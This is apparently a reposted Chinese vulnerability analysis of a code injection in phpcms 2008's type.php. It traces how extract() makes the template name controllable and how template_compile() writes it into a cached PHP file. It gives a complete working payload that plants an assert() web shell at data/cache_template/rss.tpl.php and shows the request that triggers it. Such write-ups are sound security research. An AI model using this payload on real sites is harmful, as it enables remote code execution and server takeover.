Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

phpcms 2008 type.php 前台代码注入getshell漏洞分析

0
0

phpcms 2008 type.php 前台代码注入getshell漏洞分析

tpye.php中:

<?php require dirname(__FILE__).'/include/common.inc.php'; ... if(empty($template)) $template = 'type'; ... include template('phpcms', $template); ... ?>

先看一下 require 进来的 include/common.inc.php ,在这个文件第58行中存在如下代码:

if($_REQUEST) { if(MAGIC_QUOTES_GPC) { $_REQUEST = new_stripslashes($_REQUEST); if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE); extract($db->escape($_REQUEST), EXTR_SKIP); } else { $_POST = $db->escape($_POST); $_GET = $db->escape($_GET); $_COOKIE = $db->escape($_COOKIE); @extract($_POST,EXTR_SKIP); @extract($_GET,EXTR_SKIP); @extract($_COOKIE,EXTR_SKIP); } if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS); if($_COOKIE) $db->escape($_COOKIE); }

上面这段代码会通过 @extract() 将尚未注册的变量进行注册,如果有冲突,不覆盖已有的变量。因此通过这个伪全局可以绕过 if(empty($template)) $template = 'type'; 这句话的指定,即 $template 变量可控。

跟入 template 函数,定义在 include/global.func.php:772

function template($module ='phpcms', $template ='index', $istag =0) { $compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php'; if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') > @filemtime($compiledtplfile))) { require_once PHPCMS_ROOT.'include/template.func.php'; template_compile($module, $template, $istag); } return $compiledtplfile; }

这里会进行一些判断, TPL_REFRESH 表示是否开启模板缓存自动刷新,默认为1, 剩下的用于判断缓存超时。倘若需要更新缓存则进入了 template_compile() 函数,根据上一句的 require_once 可知定义在 include/template.func.php:2

<?php function template_compile($module, $template, $istag =0) { $tplfile = TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html'; $content = @file_get_contents($tplfile); if($content === false) showmessage("$tplfile is not exists!"); $compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php'; $content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content); $strlen = file_put_contents($compiledtplfile, $content); @chmod($compiledtplfile, 0777); return $strlen; }

重点看 $content = ($istag || substr($template, 0, 4) == 'tag_') 这一句。由于 $template 可控,只要 $template 以 tag_ 开头,就可以使得此处的三元表达式进入到第一个分支中,即相当于:

$content = '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' 由于 $template 未经过滤,被直接拼接到内容中,所以如果指定 tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss ,则拼接后的结果为 $content = '<?php function _tag_phpcms_tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>'

可以看到一句话木马已经写入了 $content ,之后 file_put_contents($compiledtplfile, $content); 将内容写入文件。

回到前面的 template_compile 函数中, TPL_CACHEPATH 为常量 PHPCMS_ROOT.'data/cache_template/ ; 可知 $compiledtplfile 为:

$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';

即:

$compiledtplfile = 'data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss.tpl.php';

所以payload末尾的 ../ 利用目录穿越使得最后的 $compiledtplfile 为 'data/cache_template/rss.tpl.php


phpcms 2008 type.php 前台代码注入getshell漏洞分析

为了解析不出错,payload末尾处的 // 注释了拼接后的其余部分,如上图。

此后访问 http://127.0.0.1/phpcms/data/cache_template/rss.tpl.php?1=phpinfo( )


phpcms 2008 type.php 前台代码注入getshell漏洞分析

Viewing all articles
Browse latest Browse all 12749